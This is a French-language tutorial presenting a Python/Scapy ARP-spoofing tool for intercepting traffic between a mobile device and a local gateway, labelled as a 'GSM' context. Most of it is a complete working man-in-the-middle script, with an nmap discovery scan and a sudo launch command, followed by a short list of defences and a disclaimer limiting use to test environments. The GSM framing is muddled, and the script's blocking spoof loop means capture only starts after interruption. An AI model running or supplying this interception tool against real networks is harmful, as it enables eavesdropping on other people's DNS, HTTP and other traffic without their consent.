ARP Spoofing Local pour GSM 🛠️📡

Créer un outil Python capable d’intercepter le trafic entre un appareil mobile et une passerelle locale (station GSM ou point d’accès) via ARP Spoofing. Cet outil servira à comprendre les failles des réseaux locaux et leurs implications dans un contexte GSM.

Fonctionnalités du Projet :

• 📡 Identification automatique des adresses IP et MAC.
• 💻 Empoisonnement ARP entre l’appareil mobile (cible) et la passerelle GSM.
• 🔍 Capture en temps réel du trafic échangé, notamment DNS, HTTP, et autres protocoles.
• 📂 Export des paquets capturés au format .pcap.
• 🔧 Restauration automatique des tables ARP pour éviter tout dysfonctionnement.

Pré-requis Techniques :

Matériel :

• Carte réseau compatible promiscuous mode (ex. : Alfa AWUS036ACH).
• Antenne SDR (facultative) : HackRF One ou RTL-SDR, pour identifier les appareils GSM connectés.

Logiciels et Bibliothèques Python :

• Python 3.x installé.
• Bibliothèques nécessaires :

pip install scapy pyshark argparse

• Wireshark (facultatif) : Pour analyser les fichiers .pcap.

Étape 1 : Identification des Cibles

Utilisez nmap pour détecter les appareils connectés :

nmap -sn 192.168.1.0/24

Ce scan retourne les adresses IP et MAC des appareils actifs, ainsi que de la passerelle.

Étape 2 : Installation des Dépendances

pip install scapy pyshark

Étape 3 : Script Python

from scapy.all import ARP, sniff, send
from scapy.layers.l2 import getmacbyip
import os
import argparse
from time import sleep
from scapy.utils import wrpcap

def enable_ip_forwarding():
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    print("[+] Routage IP activé.")

def disable_ip_forwarding():
    os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
    print("[+] Routage IP désactivé.")

def get_mac(ip):
    mac = getmacbyip(ip)
    if mac is None:
        raise ValueError(f"Impossible de trouver l'adresse MAC pour l'IP {ip}")
    return mac

def arp_spoof(target_ip, gateway_ip, interface):
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)
    target_arp = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst=target_mac)
    gateway_arp = ARP(op=2, pdst=gateway_ip, psrc=target_ip, hwdst=gateway_mac)
    print(f"[+] Empoisonnement ARP entre {target_ip} et {gateway_ip}.")
    try:
        while True:
            send(target_arp, verbose=False)
            send(gateway_arp, verbose=False)
            sleep(2)
    except KeyboardInterrupt:
        print("\n[+] Empoisonnement ARP arrêté.")

def restore_arp(target_ip, gateway_ip):
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)
    send(ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwsrc=gateway_mac), count=4, verbose=False)
    send(ARP(op=2, pdst=gateway_ip, psrc=target_ip, hwsrc=target_mac), count=4, verbose=False)
    print("[+] Tables ARP restaurées.")

def packet_sniffer(interface, output_file):
    print("[+] Capture des paquets en cours... Appuyez sur Ctrl+C pour arrêter.")
    packets = sniff(iface=interface, store=True)
    wrpcap(output_file, packets)
    print(f"[+] Paquets capturés enregistrés dans {output_file}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Outil d'ARP Spoofing Local pour GSM")
    parser.add_argument("--target-ip", required=True, help="Adresse IP de la cible")
    parser.add_argument("--gateway-ip", required=True, help="Adresse IP de la passerelle")
    parser.add_argument("--interface", required=True, help="Interface réseau à utiliser")
    parser.add_argument("--output", default="capture.pcap", help="Fichier de sortie pour les paquets capturés")
    args = parser.parse_args()

    enable_ip_forwarding()
    try:
        arp_spoof(args.target_ip, args.gateway_ip, args.interface)
        packet_sniffer(args.interface, args.output)
    except KeyboardInterrupt:
        restore_arp(args.target_ip, args.gateway_ip)
    finally:
        disable_ip_forwarding()
        

Étape 4 : Instructions d’Utilisation

Lancer le script :

sudo python3 arp_spoof.py --target-ip 192.168.1.100 --gateway-ip 192.168.1.1 --interface wlan0 --output gsm_capture.pcap

Analyser les paquets capturés :

Ouvrez gsm_capture.pcap dans Wireshark pour examiner le trafic intercepté.

Arrêter l'attaque :

Appuyez sur Ctrl+C pour arrêter l'empoisonnement ARP et restaurer les tables.

Étape 5 : Mesures de Sécurité

• Configurez des tables ARP statiques pour protéger les appareils critiques.
• Surveillez les modifications ARP avec des outils comme arpwatch.

Conclusion

Ce script est conçu pour être éducatif et fonctionnel dans un contexte GSM local. Il est à utiliser uniquement dans des environnements de test.